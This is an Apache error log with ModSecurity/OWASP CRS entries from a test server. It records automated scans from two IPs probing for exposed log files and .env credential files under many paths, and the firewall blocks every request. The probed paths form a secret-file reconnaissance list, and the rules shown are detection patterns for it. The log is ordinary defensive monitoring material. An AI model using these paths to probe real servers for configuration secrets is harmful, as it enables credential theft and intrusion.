[Mon Dec 08 10:10:04.282159 2025] [:error] [pid 601490] [client 194.180.49.173:63044] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "aTaV7CCBK73VuHmdpwJq_wAAAAE"]
[Mon Dec 08 10:10:04.282332 2025] [:error] [pid 601490] [client 194.180.49.173:63044] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/error.log"] [unique_id "aTaV7CCBK73VuHmdpwJq_wAAAAE"]
[Mon Dec 08 10:10:04.431649 2025] [:error] [pid 594977] [client 194.180.49.173:63060] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel.log"] [unique_id "aTaV7JXr0iaro2iz9FuURgAAAAQ"]
[Mon Dec 08 10:10:04.431993 2025] [:error] [pid 594977] [client 194.180.49.173:63060] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel.log"] [unique_id "aTaV7JXr0iaro2iz9FuURgAAAAQ"]
[Mon Dec 08 10:10:04.432162 2025] [:error] [pid 594977] [client 194.180.49.173:63060] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel.log"] [unique_id "aTaV7JXr0iaro2iz9FuURgAAAAQ"]
[Mon Dec 08 10:10:04.558909 2025] [:error] [pid 595253] [client 194.180.49.173:63068] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/debug.log"] [unique_id "aTaV7AlbN3HvOuH6IPY79AAAAA0"]
[Mon Dec 08 10:10:04.559250 2025] [:error] [pid 595253] [client 194.180.49.173:63068] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/debug.log"] [unique_id "aTaV7AlbN3HvOuH6IPY79AAAAA0"]
[Mon Dec 08 10:10:04.559436 2025] [:error] [pid 595253] [client 194.180.49.173:63068] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/debug.log"] [unique_id "aTaV7AlbN3HvOuH6IPY79AAAAA0"]
[Mon Dec 08 10:10:04.680399 2025] [:error] [pid 595252] [client 194.180.49.173:63072] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTaV7OLgrzYgi1sGF5PG-wAAAAw"]
[Mon Dec 08 10:10:04.680739 2025] [:error] [pid 595252] [client 194.180.49.173:63072] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTaV7OLgrzYgi1sGF5PG-wAAAAw"]
[Mon Dec 08 10:10:04.680911 2025] [:error] [pid 595252] [client 194.180.49.173:63072] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aTaV7OLgrzYgi1sGF5PG-wAAAAw"]
[Mon Dec 08 10:10:04.796861 2025] [:error] [pid 594975] [client 194.180.49.173:63084] [client 194.180.49.173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "aTaV7BecghAXZF1I4kEauwAAAAI"]
[Mon Dec 08 10:10:04.797208 2025] [:error] [pid 594975] [client 194.180.49.173:63084] [client 194.180.49.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "aTaV7BecghAXZF1I4kEauwAAAAI"]
[Mon Dec 08 10:10:04.797381 2025] [:error] [pid 594975] [client 194.180.49.173:63084] [client 194.180.49.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "aTaV7BecghAXZF1I4kEauwAAAAI"]
[Tue Dec 09 02:40:00.031975 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTd98OM9iATdAmaQYuynwAAAAAQ"]
[Tue Dec 09 02:40:00.032225 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTd98OM9iATdAmaQYuynwAAAAAQ"]
[Tue Dec 09 02:40:00.032423 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTd98OM9iATdAmaQYuynwAAAAAQ"]
[Tue Dec 09 02:40:00.144224 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aTd98OM9iATdAmaQYuynwwAAAAQ"]
[Tue Dec 09 02:40:00.144456 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aTd98OM9iATdAmaQYuynwwAAAAQ"]
[Tue Dec 09 02:40:00.144694 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aTd98OM9iATdAmaQYuynwwAAAAQ"]
[Tue Dec 09 02:40:00.171232 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aTd98OM9iATdAmaQYuynxAAAAAQ"]
[Tue Dec 09 02:40:00.171563 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aTd98OM9iATdAmaQYuynxAAAAAQ"]
[Tue Dec 09 02:40:00.171842 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aTd98OM9iATdAmaQYuynxAAAAAQ"]
[Tue Dec 09 02:40:00.194599 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aTd98OM9iATdAmaQYuynxQAAAAQ"]
[Tue Dec 09 02:40:00.194839 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aTd98OM9iATdAmaQYuynxQAAAAQ"]
[Tue Dec 09 02:40:00.195032 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aTd98OM9iATdAmaQYuynxQAAAAQ"]
[Tue Dec 09 02:40:00.222511 2025] [authz_core:error] [pid 614288] [client 45.148.10.247:51710] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Tue Dec 09 02:40:00.244021 2025] [authz_core:error] [pid 614288] [client 45.148.10.247:51710] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Tue Dec 09 02:40:00.269611 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aTd98OM9iATdAmaQYuynyAAAAAQ"]
[Tue Dec 09 02:40:00.269848 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aTd98OM9iATdAmaQYuynyAAAAAQ"]
[Tue Dec 09 02:40:00.270037 2025] [:error] [pid 614288] [client 45.148.10.247:51710] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aTd98OM9iATdAmaQYuynyAAAAAQ"]
[Tue Dec 09 02:40:00.478317 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aTd98Cw5dJMtMWYD8PX9tQAAAAI"]
[Tue Dec 09 02:40:00.478603 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aTd98Cw5dJMtMWYD8PX9tQAAAAI"]
[Tue Dec 09 02:40:00.478781 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aTd98Cw5dJMtMWYD8PX9tQAAAAI"]
[Tue Dec 09 02:40:00.500927 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aTd98Cw5dJMtMWYD8PX9tgAAAAI"]
[Tue Dec 09 02:40:00.501162 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aTd98Cw5dJMtMWYD8PX9tgAAAAI"]
[Tue Dec 09 02:40:00.501333 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aTd98Cw5dJMtMWYD8PX9tgAAAAI"]
[Tue Dec 09 02:40:00.567818 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aTd98Cw5dJMtMWYD8PX9twAAAAI"]
[Tue Dec 09 02:40:00.568054 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aTd98Cw5dJMtMWYD8PX9twAAAAI"]
